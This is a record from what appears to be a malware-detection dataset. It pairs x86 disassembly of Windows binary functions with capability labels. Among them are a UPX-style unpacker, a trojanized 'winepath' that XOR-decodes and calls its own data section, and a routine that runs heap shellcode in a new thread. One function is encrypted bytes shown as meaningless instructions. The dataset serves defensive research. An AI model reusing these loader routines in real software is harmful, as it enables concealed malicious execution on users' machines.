joyce8/EMBER2024-capa huggingface dataset:
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x432072
nop
mov ebx, 0x40c7d0
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x48f65f8b
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x432060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x18122ba0
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x4cd740
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x8f000]
mov dword [edi + 0x907b8], 0x812d26e6
push edi
or ebp, 0xffffffff
jmp 0x4cd76a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4cd771
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4cd760
mov eax, 1
add ebx, ebx
jne 0x4cd783
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4cd794
jne 0x4cd7b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4cd7b3
dec eax
add ebx, ebx
jne 0x4cd7a0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4cd778
add ebx, ebx
jne 0x4cd7af
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4cd805
xor ecx, ecx
sub eax, 3
jb 0x4cd7cb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4cd83a
sar eax, 1
mov ebp, eax
jmp 0x4cd7d6
add ebx, ebx
jne 0x4cd7d6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4cd7a4
inc ecx
add ebx, ebx
jne 0x4cd7e4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4cd7a4
add ebx, ebx
jne 0x4cd7f1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4cd7e6
jne 0x4cd802
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4cd7e6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4cd824
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4cd816
jmp 0x4cd766
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4cd824
add edi, ecx
jmp 0x4cd766
pop esi
mov edi, esi
mov ecx, 0x4d24
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4cd842
cmp byte [edi], 0x13
jne 0x4cd842
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4cd847
lea edi, [esi + 0xc9000]
mov eax, dword [edi]
or eax, eax
je 0x4cd8b6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xe60d4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xe628c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4cd874
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xe6290]
or eax, eax
je 0x4cd8b0
mov dword [ebx], eax
add ebx, 4
jmp 0x4cd891
call dword [esi + 0xe62a0]
mov ebp, dword [esi + 0xe6294]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4cd8ea
sub esp, 0xffffff80
jmp 0x48f888
Function at 0x401a40
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
ret 8

Function at 0x408925
Capabilities:
Encode data using xor

Disassembly:
mov ebx, 0x4085d8
and eax, edi
sub eax, 0x87f7c107
call fcn.0040895f
mov eax, 0x2c4f84d
sub eax, 0x79c4537d
xor dword [esi], ebx
sub edi, 1
add esi, 1
sub eax, 0x8448cf83
add eax, eax
cmp esi, ecx
jne fcn.00408925
add eax, eax
ret
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push edi
sub eax, 0x30
je 0x401080
sub eax, 0x38
je 0x401060
sub eax, 4
je 0x40105c
sub eax, 7
je 0x401057
dec eax
dec eax
je 0x401053
dec eax
dec eax
je 0x40104f
mov edi, str.winepath
push edi
push str._s:_invalid_option
call fcn.00401616
add eax, 0x40
push eax
call fcn.00401759
add esp, 0xc
cmp dword [ebp + 0xc], 0
je 0x401088
push dword [ebp + 0xc]
push 0x41c5ac
jmp 0x401090
push 8
jmp 0x401082
push 4
jmp 0x401082
xor eax, eax
inc eax
jmp 0x401083
push 2
jmp 0x401082
push str.winepath
push str.Usage:__s__OPTION___PATH_..._n
call fcn.0040191c
push str.Convert_PATH_s__to_Unix_or_Windows_long_or_short_paths._n_n___u____unix____converts_a_Windows_path_to_a_Unix_path_n___w____windows_converts_a_Unix_path_to_a_long_Windows_path_n___l____long____converts_the_short_Windows_path_of_an_existing_file_or_n________________directory_to_the_long_format_n___s____short___converts_the_long_Windows_path_of_an_existing_file_or_n________________directory_to_the_short_format_n___0____________separate_output_with_0_character__instead_of_a_newline_n___h____help____output_this_help_message_and_exit_n_nIf_more_than_one_option_is_given_then_the_input_paths_are_output_in_nall_formats_specified__in_the_order_long__short__Unix__Windows._nIf_no_option_is_given_the_default_is_Unix_format._n
call fcn.0040191c
add esp, 0xc
push 0
jmp 0x4010ba
push 0x10
pop eax
pop edi
pop ebp
ret 8
push dword [ebp + 8]
push str.__c_n
call fcn.00401616
add eax, 0x40
push eax
call fcn.00401759
add esp, 0xc
push edi
push str.Try__s___help_for_help_n
call fcn.00401616
add eax, 0x40
push eax
call fcn.00401759
add esp, 0xc
push 2
call fcn.00401fae
int3
Function at 0x4011e2
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x318
push ebx
push esi
push edi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ebx, 0x2ebae40
push ebx
call fcn.00402037
mov esi, eax
pop ecx
test esi, esi
jne 0x401217
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push 0xa0
push esi
call fcn.004020d0
add esp, 0xc
mov ebx, 0x1655
xor ecx, ecx
mov al, byte [ecx + section..data]
ror al, 3
xor al, byte [edi + str.vbwfnqzoamtmx]
mov byte [ecx + section..data], al
lea eax, [edi + 1]
push 0xd
pop edi
cdq
idiv edi
inc ecx
mov edi, edx
cmp ecx, ebx
jb 0x40122d
lea eax, [ebp - 0xc]
push eax
push 0x40
push ebx
push section..data
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, section..data
call eax
push esi
call fcn.00401fc2
mov esi, dword [ebp - 4]
pop ecx
push esi
call fcn.004010c0
mov ebx, eax
test bl, 0x10
je 0x40128a
xor edi, edi
xor ebx, 0x10
jmp 0x40128d
push 0xa
pop edi
push 4
test ebx, ebx
pop eax
cmove ebx, eax
test al, bl
jne 0x4013af
test bl, 8
je 0x4012c8
push str.wine_get_dos_file_name
push str.KERNEL32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.winepath
push str._s:_cannot_get_the_address_of_wine_get_dos_file_name_n
jmp 0x4013d0
add esi, 4
xor ecx, ecx
inc ecx
mov dword [ebp - 4], ecx
cmp dword [esi], 0
je 0x4013ab
mov eax, ebx
and eax, 2
and ebx, ecx
mov dword [ebp - 8], eax
mov byte [ebp - 0x110], 0
test eax, eax
je 0x401340
push 0x104
lea eax, [ebp - 0x318]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
test eax, eax
je 0x401328
xor ecx, ecx
lea eax, [ebp - 0x110]
push ecx
push ecx
push 0x104
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x318]
push eax
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push edi
lea eax, [ebp - 0x110]
push eax
push str._s_c
call fcn.0040191c
mov ecx, dword [ebp - 4]
add esp, 0xc
test ebx, ebx
je 0x401395
push 0x104
lea eax, [ebp - 0x318]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
test eax, eax
je 0x40137d
xor ecx, ecx
lea eax, [ebp - 0x110]
push ecx
push ecx
push 0x104
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x318]
push eax
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push edi
lea eax, [ebp - 0x110]
push eax
push str._s_c
call fcn.0040191c
mov ecx, dword [ebp - 4]
add esp, 0xc
inc ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
lea esi, [eax + ecx*4]
mov eax, dword [ebp - 8]
cmp dword [esi], 0
jne 0x4012e4
push 0
jmp 0x4013e3
push str.wine_get_unix_file_name
push str.KERNEL32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.winepath
push str._s:_cannot_get_the_address_of_wine_get_unix_file_name_n
call fcn.00401616
add eax, 0x40
push eax
call fcn.00401759
add esp, 0xc
push 3
call fcn.00401fae
int3
Function at 0x40a371
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x424bd0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00404416
mov dword [ebp - 0x14], eax
cmp dword [0x426174], esi
jne 0x40a464
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40a3f1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40a544
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40a544
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40a544
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x426174], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x426178], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x42617c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x426184], eax
test eax, eax
je 0x40a461
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x426180], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40a489
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40a47c
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40a49e
push 4
pop eax
jmp 0x40a546
cmp dword [ebp - 0x14], esi
je 0x40a49e
push dword [0x426174]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40a483
mov eax, dword [0x426180]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40a4fc
cmp dword [0x426184], edi
je 0x40a4fc
push eax
call ebx
push dword [0x426184]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40a4fc
test eax, eax
je 0x40a4fc
call ecx
test eax, eax
je 0x40a4f1
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40a4f1
test byte [ebp - 8], 1
jne 0x40a4fc
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40a52c
mov eax, dword [0x426178]
cmp eax, edi
je 0x40a529
push eax
call ebx
test eax, eax
je 0x40a529
call eax
mov esi, eax
test esi, esi
je 0x40a529
mov eax, dword [0x42617c]
cmp eax, edi
je 0x40a529
push eax
call ebx
test eax, eax
je 0x40a529
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x426174]
call ebx
test eax, eax
je 0x40a544
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40a546
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004075e7
mov esp, ebp
pop ebp
ret
Function at 0x4010b0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
xor eax, eax
push esi
mov esi, ecx
push edi
mov ecx, 0x1369e
lea edi, [esi + 0x10]
mov dword [esi], 0x4042c8
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 0x4da8c], edi
mov dword [esi + 4], edi
mov dword [esi + 8], 0xffffffff
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret

Function at 0x4011d0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0xc
lea eax, [esp]
push ebx
push esi
push edi
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
mov ebx, ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [0x405400]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
test al, 1
jne 0x401215
or al, 1
mov byte [0x405400], al
call esi
mov dword [0x4053fc], eax
cmp dword [0x40540c], 8
jle 0x401253
mov dword [0x40540c], 0
call esi
mov ecx, dword [0x4053fc]
mov edx, eax
sub edx, ecx
mov dword [0x4053fc], eax
mov dword [esp + 0x10], edx
fild dword [esp + 0x10]
fmul dword [0x4042d0]
fdivr dword [0x4042cc]
fstp dword [0x4053f8]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.worinimahuorong
call edi
push 0x4da78
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
jne 0x401281
pop edi
pop esi
pop ebx
add esp, 0xc
ret
mov eax, dword [0x405030]
push ebp
add ebx, 0x4da90
push eax
push ebx
push esi
call fcn.00401160
add esp, 0xc
push str.worinimahuorong1
call edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.VirtualProtect
push str.KERNEL32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.CreateThread
push str.KERNEL32.dll
mov ebp, eax
call edi
push eax
call ebx
lea ecx, [esp + 0x18]
push ecx
push 0x40
push 0x4da78
push esi
call ebp
push 0
push 0
push esi
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0xc
ret
Function at 0x401340
Capabilities:
Create thread
Link many functions at runtime
Resolve dns

Disassembly:
mov eax, dword [0x405404]
sub esp, 0x10
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
push str.socket
mov edi, ecx
push eax
call esi
push 6
push 1
push 2
call eax
cmp eax, 0xffffffff
mov dword [edi + 8], eax
jne 0x401374
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret 8
push ebx
push ebp
mov ecx, dword [0x405404]
push str.htons
push ecx
call esi
mov edx, dword [esp + 0x24]
mov ebx, eax
push edx
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov ebp, eax
mov eax, dword [esp + 0x28]
push eax
mov word [esp + 0x14], 2
call ebx
mov word [esp + 0x12], ax
mov ecx, dword [ebp + 0xc]
push str.connect
mov edx, dword [ecx]
mov ecx, dword [0x405404]
push ecx
mov eax, dword [edx]
mov dword [esp + 0x1c], eax
call esi
mov ecx, dword [edi + 8]
lea edx, [esp + 0x10]
push 0x10
push edx
push ecx
call eax
cmp eax, 0xffffffff
jne 0x40140b
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.ResetEvent
push str.KERNEL32.dll
call ebx
push eax
call esi
mov edx, dword [edi + 0xc]
push edx
call eax
push str.WaitForSingleObject
push str.KERNEL32.dll
call ebx
push eax
call esi
mov ecx, dword [edi + 0xc]
push 0x3e8
push ecx
call eax
jmp 0x401376
push 0
push 0
push edi
push 0x401430
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret 8
Function at 0x414ac0
Capabilities:
Encode data using xor

Disassembly:
outsb dx, byte [esi]
mov dword [0xfa3ec2c0], eax
cli
je 0x414b0d
cmp ebp, dword [ebx]
dec ebp
aam 0xf9
push 0xc2cd6e25
pop edi
rol ebp, 0xd5
jne 0x414ac4
lahf
in al, dx
invalid
sub ah, byte [0xdad5c404]
sti
cmp ebp, dword [edx]
and eax, 0xdad5c404
sti
cmp ebp, dword [edx]
and eax, 0x252a3b04
add al, 0x3b
sub ah, byte [0xa62a3b04]
call 0x2063386f
xlatb
and byte [edi + 4], 0x32
shr dword [edx + 0x6c], 1
cmp ebx, dword [edx + 0x64]
add al, 0x75
insd dword es:[edi], dx
popfd
fdivr qword [ecx - 0xb405cf0]
jnp 0x414b8c
inc ecx
adc dl, ch
arpl word [ebp + 0x4653a3b], di
mov edx, 0x3b0424ed
sub ah, byte [edx + ebp*8 - 0x19d2a32e]
mov edx, 0x3b0424c4
sub bl, byte [edi + 0x256b7024]
test esp, edx
mov cl, ch
xor byte [edi], bl
sub ebx, edx
in al, dx
adc byte [edx], ch
and eax, 0x48008004
invalid
cmp ebp, dword [ebx]
fisttp dword [0xcdda2bcc]
or eax, 0xcdda2bcc
jo 0x414b99
cli
invalid
sub cl, byte [edx + esi*8]
xor bl, ch
outsb dx, byte [esi]
xor eax, 0x17da943a
loope 0x414b8f
movsb byte es:[edi], byte [esi]
lds edi, [edi]
sub ah, byte [0x72d11a04]
pop edi
mov edx, 0xd38dc4c5
push esp
sbb al, 0xd5
dec esi
iretd
Function at 0x40c4c6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x419448]
jne 0x40c4cf
ret
jmp fcn.0040d579

Function at 0x40c83f
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x98
mov eax, dword [0x419448]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
mov esi, ecx
call fcn.0040c7d4
mov eax, 0x400000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.0040d2b0
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x10], 2
jne 0x40c88e
cmp dword [ebp - 0x1c], 5
jb 0x40c8a6
jmp 0x40c8a2
cmp dword [ebp - 0x10], 1
jne 0x40c8a6
cmp dword [ebp - 0x1c], 4
ja 0x40c8a2
jne 0x40c8a6
cmp dword [ebp - 0x18], 0
jbe 0x40c8a6
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x4194ac
call fcn.0040c2ac
test eax, eax
jge 0x40c8c7
mov byte [0x425b14], 1
mov ecx, dword [ebp + 0x74]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0040c4c6
add ebp, 0x78
leave
ret

Function at 0x40ca79
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x424f3c], 0
push esi
jne 0x40c9ec
call fcn.0040c917
test eax, eax
je 0x40ca2f
mov eax, dword [0x424f3c]
cmp eax, 1
jne 0x40ca0d
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x40ca2f
pop esi
ret
push eax
call dword [0x424f44]
test eax, eax
jne 0x40ca77
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x40ca33
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x424f3c]
call dword [0x424f44]
mov edi, eax
test edi, edi
je 0x40ca5a
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x40ca76
lea edi, [esi + 0xff0]
push esi
push dword [0x424f3c]
call dword [0x424f40]
add esi, 0x10
cmp esi, edi
jb 0x40ca60
mov eax, esi
pop edi
pop esi
ret
jmp 0x40c9d9
Function at 0x401bf4
Capabilities:
Get common file path

Disassembly:
push ebx
xor eax, eax
push eax
push eax
push eax
push 0x400
call fcn.00403dc0
mov dword [esp], eax
mov eax, dword [0x40b3f8]
push eax
push eax
call fcn.00405eb2
lea ecx, [esp + 8]
pop edx
call fcn.004030f0
push dword [esp]
push 0
push 0x40a00d
push dword [esp + 0x10]
call sub.KERNEL32.dll_GetTempFileNameA
mov eax, dword [0x40b3f8]
push eax
push eax
push dword [esp + 8]
call fcn.00403e50
lea ecx, [0x40b170]
pop edx
call fcn.004030f0
push dword [esp]
call fcn.00403e30
push dword [0x40b170]
call fcn.00405ea0
push dword [0x40b170]
call fcn.00405f13
mov eax, dword [0x40b3f8]
push eax
push eax
call fcn.00405dd5
lea ecx, [0x40b168]
pop edx
call fcn.004030f0
mov eax, dword [esp + 0x14]
call fcn.00403ea0
push eax
xor ebx, ebx
cmp ebx, dword [esp]
jne 0x401d02
mov ebx, dword [esp + 0x18]
inc ebx
mov eax, ebx
call fcn.00403ea0
mov ebx, eax
cmp ebx, 1
jne 0x401cdb
push dword [0x40b168]
call sub.SHLWAPI.dll_PathQuoteSpacesA
push dword [0x40b3f8]
mov edx, str.__
call fcn.004074f0
mov edx, dword [0x40b168]
call fcn.004074f0
lea ecx, [0x40b16c]
pop edx
call fcn.004030f0
mov edx, dword [0x40b170]
push dword [0x40b3f8]
call fcn.004074f0
lea ecx, [0x40b168]
pop edx
call fcn.004030f0
mov dword [esp + 0xc], 2
jmp 0x401d14
mov ebx, 1
cmp ebx, dword [esp]
jne 0x401d14
mov dword [esp + 0xc], 1
pop eax
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 8]
mov eax, ebx
call fcn.00403ea0
mov dword [0x40b160], eax
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 8]
inc ebx
mov eax, ebx
call fcn.00403ea0
mov dword [0x40b164], eax
mov eax, 1
jmp 0x401d47
push dword [esp + 4]
call fcn.00407550
add esp, 0xc
pop ebx
ret 4
Function at 0x4020c9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
xor eax, eax
push eax
push eax
mov edx, dword [esp + 0x10]
lea ecx, [esp]
call fcn.00403100
push 0xa
push dword [esp + 4]
push dword [esp + 0x14]
call sub.KERNEL32.dll_FindResourceA
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
je 0x40211a
push dword [esp + 4]
push dword [esp + 0x10]
call sub.KERNEL32.dll_LoadResource
mov dword [0x40b174], eax
push dword [esp + 4]
push dword [esp + 0x10]
call sub.KERNEL32.dll_SizeofResource
mov dword [0x40b1b0], eax
mov eax, dword [esp + 4]
jmp 0x402122
push dword [esp]
call fcn.00407550
add esp, 8
ret 8

Function at 0x402779
Capabilities:
Create process on windows

Disassembly:
push ebp
push ebx
mov edx, 0x14
sub esp, 4
mov dword [esp], 0
dec edx
jne 0x402780
mov edx, dword [esp + 0x5c]
lea ecx, [esp]
call fcn.00403100
mov edx, dword [esp + 0x60]
lea ecx, [esp + 4]
call fcn.00403100
mov edx, dword [esp + 0x64]
lea ecx, [esp + 8]
call fcn.00403100
lea eax, [esp + 0xc]
lea ebp, [esp + 0xc]
mov dword [ebp], 0x3c
mov dword [ebp + 4], 0x140
mov dword [ebp + 0x1c], 0
mov eax, str.open
mov dword [ebp + 0xc], eax
mov eax, dword [esp]
mov dword [ebp + 0x10], eax
mov eax, dword [esp + 8]
mov dword [ebp + 0x14], eax
mov eax, dword [esp + 4]
mov dword [ebp + 0x18], eax
lea eax, [esp + 0xc]
push eax
call sub.SHELL32.dll_ShellExecuteExA
mov dword [esp + 0x48], eax
push 0x19
call sub.KERNEL32.dll_Sleep
lea eax, [esp + 0x4c]
push eax
lea ebp, [esp + 0x10]
push dword [ebp + 0x38]
call sub.KERNEL32.dll_GetExitCodeProcess
and eax, eax
je 0x402827
mov ebx, dword [esp + 0x4c]
cmp ebx, 0x103
je 0x402827
jmp 0x402829
jmp 0x4027fa
mov eax, 1
jmp 0x402832
push dword [esp]
call fcn.00407550
push dword [esp + 4]
call fcn.00407550
push dword [esp + 8]
call fcn.00407550
add esp, 0x50
pop ebx
pop ebp
ret 0xc

Function at 0x4038b5
Capabilities:
Enumerate gui resources

Disassembly:
cmp dword [esp + 4], 0
je 0x4038cd
push dword [esp + 4]
push 0x40384e
call dword [sym.imp.USER32.dll_EnumWindows]
jmp 0x40390a
push esi
mov esi, dword [0x40b208]
test esi, esi
je 0x403909
push ebx
push edi
mov ebx, dword [esi]
lea edi, [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [edi], eax
jne 0x403901
push 1
push dword [esi + 0xc]
call dword [sym.imp.USER32.dll_EnableWindow]
push edi
push 0x40b208
call fcn.0040681d
pop ecx
pop ecx
test ebx, ebx
mov esi, ebx
jne 0x4038da
pop edi
pop ebx
pop esi
ret 4